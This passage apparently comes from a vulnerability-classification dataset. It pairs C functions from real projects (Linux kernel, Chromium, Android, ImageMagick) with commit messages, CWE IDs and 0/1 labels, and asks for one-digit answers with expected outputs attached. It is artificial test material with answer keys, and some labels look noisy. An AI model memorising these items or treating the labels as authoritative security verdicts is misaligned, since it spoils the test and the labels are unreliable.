50) { GROW; count = 0; } NEXT; cur = CUR; if (cur == 0) { GROW; SHRINK; cur = CUR; } } buf[len] = 0; if (cur != stop) { xmlFatalErr(ctxt, XML_ERR_LITERAL_NOT_FINISHED, NULL); } else { NEXT; } ctxt->instate = oldstate; return(buf); } Commit Message: libxml: XML_PARSER_EOF checks from upstream BUG=229019 TBR=cpu Review URL: https://chromiumcodereview.appspot.com/14053009 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@196804 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119 Target: 1 Example 2: Code: void PluginInfoMessageFilter::Context::DecidePluginStatus( const GetPluginInfo_Params& params, const WebPluginInfo& plugin, const PluginMetadata* plugin_metadata, ChromeViewHostMsg_GetPluginInfo_Status* status) const { #if defined(OS_WIN) if (plugin.type == WebPluginInfo::PLUGIN_TYPE_NPAPI && base::win::IsMetroProcess()) { status->value = ChromeViewHostMsg_GetPluginInfo_Status::kNPAPINotSupported; return; } #endif ContentSetting plugin_setting = CONTENT_SETTING_DEFAULT; bool uses_default_content_setting = true; GetPluginContentSetting(plugin, params.top_origin_url, params.url, plugin_metadata->identifier(), &plugin_setting, &uses_default_content_setting); DCHECK(plugin_setting != CONTENT_SETTING_DEFAULT); PluginMetadata::SecurityStatus plugin_status = plugin_metadata->GetSecurityStatus(plugin); #if defined(ENABLE_PLUGIN_INSTALLATION) if (plugin_status == PluginMetadata::SECURITY_STATUS_OUT_OF_DATE && !allow_outdated_plugins_.GetValue()) { if (allow_outdated_plugins_.IsManaged()) { status->value = ChromeViewHostMsg_GetPluginInfo_Status::kOutdatedDisallowed; } else { status->value = ChromeViewHostMsg_GetPluginInfo_Status::kOutdatedBlocked; } return; } #endif if (plugin_status == PluginMetadata::SECURITY_STATUS_REQUIRES_AUTHORIZATION && plugin.type != WebPluginInfo::PLUGIN_TYPE_PEPPER_IN_PROCESS && plugin.type != WebPluginInfo::PLUGIN_TYPE_PEPPER_OUT_OF_PROCESS && !always_authorize_plugins_.GetValue() && plugin_setting != CONTENT_SETTING_BLOCK && uses_default_content_setting) { status->value = ChromeViewHostMsg_GetPluginInfo_Status::kUnauthorized; return; } if (PluginService::GetInstance()->IsPluginUnstable(plugin.path) && !always_authorize_plugins_.GetValue() && plugin_setting != CONTENT_SETTING_BLOCK && uses_default_content_setting) { status->value = ChromeViewHostMsg_GetPluginInfo_Status::kUnauthorized; return; } if (plugin_setting == CONTENT_SETTING_ASK) status->value = ChromeViewHostMsg_GetPluginInfo_Status::kClickToPlay; else if (plugin_setting == CONTENT_SETTING_BLOCK) status->value = ChromeViewHostMsg_GetPluginInfo_Status::kBlocked; } Commit Message: Follow-on fixes and naming changes for https://codereview.chromium.org/12086077/ BUG=172573 Review URL: https://codereview.chromium.org/12177018 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@180600 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-287 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static void ipx_destroy_socket(struct sock *sk) { ipx_remove_socket(sk); skb_queue_purge(&sk->sk_receive_queue); sk_refcnt_debug_dec(sk); } Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <[email protected]> Suggested-by: Eric Dumazet <[email protected]> Signed-off-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: cJSON *cJSON_CreateFalse( void ) { cJSON *item = cJSON_New_Item(); if ( item ) item->type = cJSON_False; return item; } Commit Message: Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <[email protected]> CWE ID: CWE-119 Target: 1 Example 2: Code: offset_show(struct md_rdev *rdev, char *page) { return sprintf(page, "%llu\n", (unsigned long long)rdev->data_offset); } Commit Message: md: use kzalloc() when bitmap is disabled In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a mdu_bitmap_file_t called "file". 5769 file = kmalloc(sizeof(*file), GFP_NOIO); 5770 if (!file) 5771 return -ENOMEM; This structure is copied to user space at the end of the function. 5786 if (err == 0 && 5787 copy_to_user(arg, file, sizeof(*file))) 5788 err = -EFAULT But if bitmap is disabled only the first byte of "file" is initialized with zero, so it's possible to read some bytes (up to 4095) of kernel space memory from user space. This is an information leak. 5775 /* bitmap disabled, zero the first byte and copy out */ 5776 if (!mddev->bitmap_info.file) 5777 file->pathname[0] = '\0'; Signed-off-by: Benjamin Randazzo <[email protected]> Signed-off-by: NeilBrown <[email protected]> CWE ID: CWE-200 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: status_t OMXNodeInstance::getParameter( OMX_INDEXTYPE index, void *params, size_t /* size */) { Mutex::Autolock autoLock(mLock); OMX_ERRORTYPE err = OMX_GetParameter(mHandle, index, params); OMX_INDEXEXTTYPE extIndex = (OMX_INDEXEXTTYPE)index; if (err != OMX_ErrorNoMore) { CLOG_IF_ERROR(getParameter, err, "%s(%#x)", asString(extIndex), index); } return StatusFromOMXError(err); } Commit Message: DO NOT MERGE: IOMX: work against metadata buffer spoofing - Prohibit direct set/getParam/Settings for extensions meant for OMXNodeInstance alone. This disallows enabling metadata mode without the knowledge of OMXNodeInstance. - Use a backup buffer for metadata mode buffers and do not directly share with clients. - Disallow setting up metadata mode/tunneling/input surface after first sendCommand. - Disallow store-meta for input cross process. - Disallow emptyBuffer for surface input (via IOMX). - Fix checking for input surface. Bug: 29422020 Change-Id: I801c77b80e703903f62e42d76fd2e76a34e4bc8e (cherry picked from commit 7c3c2fa3e233c656fc8c2fc2a6634b3ecf8a23e8) CWE ID: CWE-200 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static Image *ReadVIFFImage(const ImageInfo *image_info, ExceptionInfo *exception) { #define VFF_CM_genericRGB 15 #define VFF_CM_ntscRGB 1 #define VFF_CM_NONE 0 #define VFF_DEP_DECORDER 0x4 #define VFF_DEP_NSORDER 0x8 #define VFF_DES_RAW 0 #define VFF_LOC_IMPLICIT 1 #define VFF_MAPTYP_NONE 0 #define VFF_MAPTYP_1_BYTE 1 #define VFF_MAPTYP_2_BYTE 2 #define VFF_MAPTYP_4_BYTE 4 #define VFF_MAPTYP_FLOAT 5 #define VFF_MAPTYP_DOUBLE 7 #define VFF_MS_NONE 0 #define VFF_MS_ONEPERBAND 1 #define VFF_MS_SHARED 3 #define VFF_TYP_BIT 0 #define VFF_TYP_1_BYTE 1 #define VFF_TYP_2_BYTE 2 #define VFF_TYP_4_BYTE 4 #define VFF_TYP_FLOAT 5 #define VFF_TYP_DOUBLE 9 typedef struct _ViffInfo { unsigned char identifier, file_type, release, version, machine_dependency, reserve[3]; char comment[512]; unsigned int rows, columns, subrows; int x_offset, y_offset; float x_bits_per_pixel, y_bits_per_pixel; unsigned int location_type, location_dimension, number_of_images, number_data_bands, data_storage_type, data_encode_scheme, map_scheme, map_storage_type, map_rows, map_columns, map_subrows, map_enable, maps_per_cycle, color_space_model; } ViffInfo; double min_value, scale_factor, value; Image *image; int bit; MagickBooleanType status; MagickSizeType number_pixels; register IndexPacket *indexes; register ssize_t x; register PixelPacket *q; register ssize_t i; register unsigned char *p; size_t bytes_per_pixel, max_packets, quantum; ssize_t count, y; unsigned char *pixels; unsigned long lsb_first; ViffInfo viff_info; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read VIFF header (1024 bytes). */ count=ReadBlob(image,1,&viff_info.identifier); do { /* Verify VIFF identifier. */ if ((count != 1) || ((unsigned char) viff_info.identifier != 0xab)) ThrowReaderException(CorruptImageError,"NotAVIFFImage"); /* Initialize VIFF image. */ (void) ReadBlob(image,sizeof(viff_info.file_type),&viff_info.file_type); (void) ReadBlob(image,sizeof(viff_info.release),&viff_info.release); (void) ReadBlob(image,sizeof(viff_info.version),&viff_info.version); (void) ReadBlob(image,sizeof(viff_info.machine_dependency), &viff_info.machine_dependency); (void) ReadBlob(image,sizeof(viff_info.reserve),viff_info.reserve); (void) ReadBlob(image,512,(unsigned char *) viff_info.comment); viff_info.comment[511]='\0'; if (strlen(viff_info.comment) > 4) (void) SetImageProperty(image,"comment",viff_info.comment); if ((viff_info.machine_dependency == VFF_DEP_DECORDER) || (viff_info.machine_dependency == VFF_DEP_NSORDER)) image->endian=LSBEndian; else image->endian=MSBEndian; viff_info.rows=ReadBlobLong(image); viff_info.columns=ReadBlobLong(image); viff_info.subrows=ReadBlobLong(image); viff_info.x_offset=ReadBlobSignedLong(image); viff_info.y_offset=ReadBlobSignedLong(image); viff_info.x_bits_per_pixel=(float) ReadBlobLong(image); viff_info.y_bits_per_pixel=(float) ReadBlobLong(image); viff_info.location_type=ReadBlobLong(image); viff_info.location_dimension=ReadBlobLong(image); viff_info.number_of_images=ReadBlobLong(image); viff_info.number_data_bands=ReadBlobLong(image); viff_info.data_storage_type=ReadBlobLong(image); viff_info.data_encode_scheme=ReadBlobLong(image); viff_info.map_scheme=ReadBlobLong(image); viff_info.map_storage_type=ReadBlobLong(image); viff_info.map_rows=ReadBlobLong(image); viff_info.map_columns=ReadBlobLong(image); viff_info.map_subrows=ReadBlobLong(image); viff_info.map_enable=ReadBlobLong(image); viff_info.maps_per_cycle=ReadBlobLong(image); viff_info.color_space_model=ReadBlobLong(image); for (i=0; i < 420; i++) (void) ReadBlobByte(image); if (EOFBlob(image) != MagickFalse) ThrowReaderException(CorruptImageError,"UnexpectedEndOfFile"); image->columns=viff_info.rows; image->rows=viff_info.columns; image->depth=viff_info.x_bits_per_pixel <= 8 ? 8UL : MAGICKCORE_QUANTUM_DEPTH; /* Verify that we can read this VIFF image. */ number_pixels=(MagickSizeType) viff_info.columns*viff_info.rows; if (number_pixels != (size_t) number_pixels) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (number_pixels == 0) ThrowReaderException(CoderError,"ImageColumnOrRowSizeIsNotSupported"); if ((viff_info.number_data_bands < 1) || (viff_info.number_data_bands > 4)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if ((viff_info.data_storage_type != VFF_TYP_BIT) && (viff_info.data_storage_type != VFF_TYP_1_BYTE) && (viff_info.data_storage_type != VFF_TYP_2_BYTE) && (viff_info.data_storage_type != VFF_TYP_4_BYTE) && (viff_info.data_storage_type != VFF_TYP_FLOAT) && (viff_info.data_storage_type != VFF_TYP_DOUBLE)) ThrowReaderException(CoderError,"DataStorageTypeIsNotSupported"); if (viff_info.data_encode_scheme != VFF_DES_RAW) ThrowReaderException(CoderError,"DataEncodingSchemeIsNotSupported"); if ((viff_info.map_storage_type != VFF_MAPTYP_NONE) && (viff_info.map_storage_type != VFF_MAPTYP_1_BYTE) && (viff_info.map_storage_type != VFF_MAPTYP_2_BYTE) && (viff_info.map_storage_type != VFF_MAPTYP_4_BYTE) && (viff_info.map_storage_type != VFF_MAPTYP_FLOAT) && (viff_info.map_storage_type != VFF_MAPTYP_DOUBLE)) ThrowReaderException(CoderError,"MapStorageTypeIsNotSupported"); if ((viff_info.color_space_model != VFF_CM_NONE) && (viff_info.color_space_model != VFF_CM_ntscRGB) && (viff_info.color_space_model != VFF_CM_genericRGB)) ThrowReaderException(CoderError,"ColorspaceModelIsNotSupported"); if (viff_info.location_type != VFF_LOC_IMPLICIT) ThrowReaderException(CoderError,"LocationTypeIsNotSupported"); if (viff_info.number_of_images != 1) ThrowReaderException(CoderError,"NumberOfImagesIsNotSupported"); if (viff_info.map_rows == 0) viff_info.map_scheme=VFF_MS_NONE; switch ((int) viff_info.map_scheme) { case VFF_MS_NONE: { if (viff_info.number_data_bands < 3) { /* Create linear color ramp. */ if (viff_info.data_storage_type == VFF_TYP_BIT) image->colors=2; else if (viff_info.data_storage_type == VFF_MAPTYP_1_BYTE) image->colors=256UL; else image->colors=image->depth <= 8 ? 256UL : 65536UL; if (AcquireImageColormap(image,image->colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); } break; } case VFF_MS_ONEPERBAND: case VFF_MS_SHARED: { unsigned char *viff_colormap; /* Allocate VIFF colormap. */ switch ((int) viff_info.map_storage_type) { case VFF_MAPTYP_1_BYTE: bytes_per_pixel=1; break; case VFF_MAPTYP_2_BYTE: bytes_per_pixel=2; break; case VFF_MAPTYP_4_BYTE: bytes_per_pixel=4; break; case VFF_MAPTYP_FLOAT: bytes_per_pixel=4; break; case VFF_MAPTYP_DOUBLE: bytes_per_pixel=8; break; default: bytes_per_pixel=1; break; } image->colors=viff_info.map_columns; if (AcquireImageColormap(image,image->colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (viff_info.map_rows > (viff_info.map_rows*bytes_per_pixel*sizeof(*viff_colormap))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); viff_colormap=(unsigned char *) AcquireQuantumMemory(image->colors, viff_info.map_rows*bytes_per_pixel*sizeof(*viff_colormap)); if (viff_colormap == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); /* Read VIFF raster colormap. */ (void) ReadBlob(image,bytes_per_pixel*image->colors*viff_info.map_rows, viff_colormap); lsb_first=1; if (*(char *) &lsb_first && ((viff_info.machine_dependency != VFF_DEP_DECORDER) && (viff_info.machine_dependency != VFF_DEP_NSORDER))) switch ((int) viff_info.map_storage_type) { case VFF_MAPTYP_2_BYTE: { MSBOrderShort(viff_colormap,(bytes_per_pixel*image->colors* viff_info.map_rows)); break; } case VFF_MAPTYP_4_BYTE: case VFF_MAPTYP_FLOAT: { MSBOrderLong(viff_colormap,(bytes_per_pixel*image->colors* viff_info.map_rows)); break; } default: break; } for (i=0; i < (ssize_t) (viff_info.map_rows*image->colors); i++) { switch ((int) viff_info.map_storage_type) { case VFF_MAPTYP_2_BYTE: value=1.0*((short *) viff_colormap)[i]; break; case VFF_MAPTYP_4_BYTE: value=1.0*((int *) viff_colormap)[i]; break; case VFF_MAPTYP_FLOAT: value=((float *) viff_colormap)[i]; break; case VFF_MAPTYP_DOUBLE: value=((double *) viff_colormap)[i]; break; default: value=1.0*viff_colormap[i]; break; } if (i < (ssize_t) image->colors) { image->colormap[i].red=ScaleCharToQuantum((unsigned char) value); image->colormap[i].green=ScaleCharToQuantum((unsigned char) value); image->colormap[i].blue=ScaleCharToQuantum((unsigned char) value); } else if (i < (ssize_t) (2*image->colors)) image->colormap[i % image->colors].green=ScaleCharToQuantum( (unsigned char) value); else if (i < (ssize_t) (3*image->colors)) image->colormap[i % image->colors].blue=ScaleCharToQuantum( (unsigned char) value); } viff_colormap=(unsigned char *) RelinquishMagickMemory(viff_colormap); break; } default: ThrowReaderException(CoderError,"ColormapTypeNotSupported"); } /* Initialize image structure. */ image->matte=viff_info.number_data_bands == 4 ? MagickTrue : MagickFalse; image->storage_class= (viff_info.number_data_bands < 3 ? PseudoClass : DirectClass); image->columns=viff_info.rows; image->rows=viff_info.columns; if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0)) if (image->scene >= (image_info->scene+image_info->number_scenes-1)) break; status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } /* Allocate VIFF pixels. */ switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: bytes_per_pixel=2; break; case VFF_TYP_4_BYTE: bytes_per_pixel=4; break; case VFF_TYP_FLOAT: bytes_per_pixel=4; break; case VFF_TYP_DOUBLE: bytes_per_pixel=8; break; default: bytes_per_pixel=1; break; } if (viff_info.data_storage_type == VFF_TYP_BIT) { if (CheckMemoryOverflow((image->columns+7UL) >> 3UL,image->rows) != MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); max_packets=((image->columns+7UL) >> 3UL)*image->rows; } else { if (CheckMemoryOverflow(number_pixels,viff_info.number_data_bands) != MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); max_packets=(size_t) (number_pixels*viff_info.number_data_bands); } pixels=(unsigned char *) AcquireQuantumMemory(MagickMax(number_pixels, max_packets),bytes_per_pixel*sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); (void) ReadBlob(image,bytes_per_pixel*max_packets,pixels); lsb_first=1; if (*(char *) &lsb_first && ((viff_info.machine_dependency != VFF_DEP_DECORDER) && (viff_info.machine_dependency != VFF_DEP_NSORDER))) switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: { MSBOrderShort(pixels,bytes_per_pixel*max_packets); break; } case VFF_TYP_4_BYTE: case VFF_TYP_FLOAT: { MSBOrderLong(pixels,bytes_per_pixel*max_packets); break; } default: break; } min_value=0.0; scale_factor=1.0; if ((viff_info.data_storage_type != VFF_TYP_1_BYTE) && (viff_info.map_scheme == VFF_MS_NONE)) { double max_value; /* Determine scale factor. */ switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: value=1.0*((short *) pixels)[0]; break; case VFF_TYP_4_BYTE: value=1.0*((int *) pixels)[0]; break; case VFF_TYP_FLOAT: value=((float *) pixels)[0]; break; case VFF_TYP_DOUBLE: value=((double *) pixels)[0]; break; default: value=1.0*pixels[0]; break; } max_value=value; min_value=value; for (i=0; i < (ssize_t) max_packets; i++) { switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: value=1.0*((short *) pixels)[i]; break; case VFF_TYP_4_BYTE: value=1.0*((int *) pixels)[i]; break; case VFF_TYP_FLOAT: value=((float *) pixels)[i]; break; case VFF_TYP_DOUBLE: value=((double *) pixels)[i]; break; default: value=1.0*pixels[i]; break; } if (value > max_value) max_value=value; else if (value < min_value) min_value=value; } if ((min_value == 0) && (max_value == 0)) scale_factor=0; else if (min_value == max_value) { scale_factor=(MagickRealType) QuantumRange/min_value; min_value=0; } else scale_factor=(MagickRealType) QuantumRange/(max_value-min_value); } /* Convert pixels to Quantum size. */ p=(unsigned char *) pixels; for (i=0; i < (ssize_t) max_packets; i++) { switch ((int) viff_info.data_storage_type) { case VFF_TYP_2_BYTE: value=1.0*((short *) pixels)[i]; break; case VFF_TYP_4_BYTE: value=1.0*((int *) pixels)[i]; break; case VFF_TYP_FLOAT: value=((float *) pixels)[i]; break; case VFF_TYP_DOUBLE: value=((double *) pixels)[i]; break; default: value=1.0*pixels[i]; break; } if (viff_info.map_scheme == VFF_MS_NONE) { value=(value-min_value)*scale_factor; if (value > QuantumRange) value=QuantumRange; else if (value < 0) value=0; } *p=(unsigned char) ((Quantum) value); p++; } /* Convert VIFF raster image to pixel packets. */ p=(unsigned char *) pixels; if (viff_info.data_storage_type == VFF_TYP_BIT) { /* Convert bitmap scanline. */ if (image->storage_class != PseudoClass) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); for (y=0; y < (ssize_t) image->rows; y++) { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < (ssize_t) (image->columns-7); x+=8) { for (bit=0; bit < 8; bit++) { quantum=(size_t) ((*p) & (0x01 << bit) ? 0 : 1); SetPixelRed(q,quantum == 0 ? 0 : QuantumRange); SetPixelGreen(q,quantum == 0 ? 0 : QuantumRange); SetPixelBlue(q,quantum == 0 ? 0 : QuantumRange); if (image->storage_class == PseudoClass) SetPixelIndex(indexes+x+bit,quantum); } p++; } if ((image->columns % 8) != 0) { for (bit=0; bit < (int) (image->columns % 8); bit++) { quantum=(size_t) ((*p) & (0x01 << bit) ? 0 : 1); SetPixelRed(q,quantum == 0 ? 0 : QuantumRange); SetPixelGreen(q,quantum == 0 ? 0 : QuantumRange); SetPixelBlue(q,quantum == 0 ? 0 : QuantumRange); if (image->storage_class == PseudoClass) SetPixelIndex(indexes+x+bit,quantum); } p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } } } else if (image->storage_class == PseudoClass) for (y=0; y < (ssize_t) image->rows; y++) { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < (ssize_t) image->columns; x++) SetPixelIndex(indexes+x,*p++); if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } } else { /* Convert DirectColor scanline. */ number_pixels=(MagickSizeType) image->columns*image->rows; for (y=0; y < (ssize_t) image->rows; y++) { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelRed(q,ScaleCharToQuantum(*p)); SetPixelGreen(q,ScaleCharToQuantum(*(p+number_pixels))); SetPixelBlue(q,ScaleCharToQuantum(*(p+2*number_pixels))); if (image->colors != 0) { ssize_t index; index=(ssize_t) GetPixelRed(q); SetPixelRed(q,image->colormap[(ssize_t) ConstrainColormapIndex(image,index)].red); index=(ssize_t) GetPixelGreen(q); SetPixelGreen(q,image->colormap[(ssize_t) ConstrainColormapIndex(image,index)].green); index=(ssize_t) GetPixelRed(q); SetPixelBlue(q,image->colormap[(ssize_t) ConstrainColormapIndex(image,index)].blue); } SetPixelOpacity(q,image->matte != MagickFalse ? QuantumRange- ScaleCharToQuantum(*(p+number_pixels*3)) : OpaqueOpacity); p++; q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } } } pixels=(unsigned char *) RelinquishMagickMemory(pixels); if (image->storage_class == PseudoClass) (void) SyncImage(image); if (EOFBlob(image) != MagickFalse) { ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); break; } /* Proceed to next image. */ if (image_info->number_scenes != 0) if (image->scene >= (image_info->scene+image_info->number_scenes-1)) break; count=ReadBlob(image,1,&viff_info.identifier); if ((count != 0) && (viff_info.identifier == 0xab)) { /* Allocate next image structure. */ AcquireNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) { image=DestroyImageList(image); return((Image *) NULL); } image=SyncNextImageInList(image); status=SetImageProgress(image,LoadImagesTag,TellBlob(image), GetBlobSize(image)); if (status == MagickFalse) break; } } while ((count != 0) && (viff_info.identifier == 0xab)); (void) CloseBlob(image); return(GetFirstImageInList(image)); } Commit Message: Suspend exception processing if there are too many exceptions CWE ID: CWE-119 Target: 1 Example 2: Code: void readpng_version_info(void) { fprintf(stderr, " Compiled with libpng %s; using libpng %s.\n", PNG_LIBPNG_VER_STRING, png_libpng_ver); fprintf(stderr, " Compiled with zlib %s; using zlib %s.\n", ZLIB_VERSION, zlib_version); } Commit Message: DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82) CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: vsock_stream_recvmsg(struct kiocb *kiocb, struct socket *sock, struct msghdr *msg, size_t len, int flags) { struct sock *sk; struct vsock_sock *vsk; int err; size_t target; ssize_t copied; long timeout; struct vsock_transport_recv_notify_data recv_data; DEFINE_WAIT(wait); sk = sock->sk; vsk = vsock_sk(sk); err = 0; msg->msg_namelen = 0; lock_sock(sk); if (sk->sk_state != SS_CONNECTED) { /* Recvmsg is supposed to return 0 if a peer performs an * orderly shutdown. Differentiate between that case and when a * peer has not connected or a local shutdown occured with the * SOCK_DONE flag. */ if (sock_flag(sk, SOCK_DONE)) err = 0; else err = -ENOTCONN; goto out; } if (flags & MSG_OOB) { err = -EOPNOTSUPP; goto out; } /* We don't check peer_shutdown flag here since peer may actually shut * down, but there can be data in the queue that a local socket can * receive. */ if (sk->sk_shutdown & RCV_SHUTDOWN) { err = 0; goto out; } /* It is valid on Linux to pass in a zero-length receive buffer. This * is not an error. We may as well bail out now. */ if (!len) { err = 0; goto out; } /* We must not copy less than target bytes into the user's buffer * before returning successfully, so we wait for the consume queue to * have that much data to consume before dequeueing. Note that this * makes it impossible to handle cases where target is greater than the * queue size. */ target = sock_rcvlowat(sk, flags & MSG_WAITALL, len); if (target >= transport->stream_rcvhiwat(vsk)) { err = -ENOMEM; goto out; } timeout = sock_rcvtimeo(sk, flags & MSG_DONTWAIT); copied = 0; err = transport->notify_recv_init(vsk, target, &recv_data); if (err < 0) goto out; prepare_to_wait(sk_sleep(sk), &wait, TASK_INTERRUPTIBLE); while (1) { s64 ready = vsock_stream_has_data(vsk); if (ready < 0) { /* Invalid queue pair content. XXX This should be * changed to a connection reset in a later change. */ err = -ENOMEM; goto out_wait; } else if (ready > 0) { ssize_t read; err = transport->notify_recv_pre_dequeue( vsk, target, &recv_data); if (err < 0) break; read = transport->stream_dequeue( vsk, msg->msg_iov, len - copied, flags); if (read < 0) { err = -ENOMEM; break; } copied += read; err = transport->notify_recv_post_dequeue( vsk, target, read, !(flags & MSG_PEEK), &recv_data); if (err < 0) goto out_wait; if (read >= target || flags & MSG_PEEK) break; target -= read; } else { if (sk->sk_err != 0 || (sk->sk_shutdown & RCV_SHUTDOWN) || (vsk->peer_shutdown & SEND_SHUTDOWN)) { break; } /* Don't wait for non-blocking sockets. */ if (timeout == 0) { err = -EAGAIN; break; } err = transport->notify_recv_pre_block( vsk, target, &recv_data); if (err < 0) break; release_sock(sk); timeout = schedule_timeout(timeout); lock_sock(sk); if (signal_pending(current)) { err = sock_intr_errno(timeout); break; } else if (timeout == 0) { err = -EAGAIN; break; } prepare_to_wait(sk_sleep(sk), &wait, TASK_INTERRUPTIBLE); } } if (sk->sk_err) err = -sk->sk_err; else if (sk->sk_shutdown & RCV_SHUTDOWN) err = 0; if (copied > 0) { /* We only do these additional bookkeeping/notification steps * if we actually copied something out of the queue pair * instead of just peeking ahead. */ if (!(flags & MSG_PEEK)) { /* If the other side has shutdown for sending and there * is nothing more to read, then modify the socket * state. */ if (vsk->peer_shutdown & SEND_SHUTDOWN) { if (vsock_stream_has_data(vsk) <= 0) { sk->sk_state = SS_UNCONNECTED; sock_set_flag(sk, SOCK_DONE); sk->sk_state_change(sk); } } } err = copied; } out_wait: finish_wait(sk_sleep(sk), &wait); out: release_sock(sk); return err; } Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <[email protected]> Suggested-by: Eric Dumazet <[email protected]> 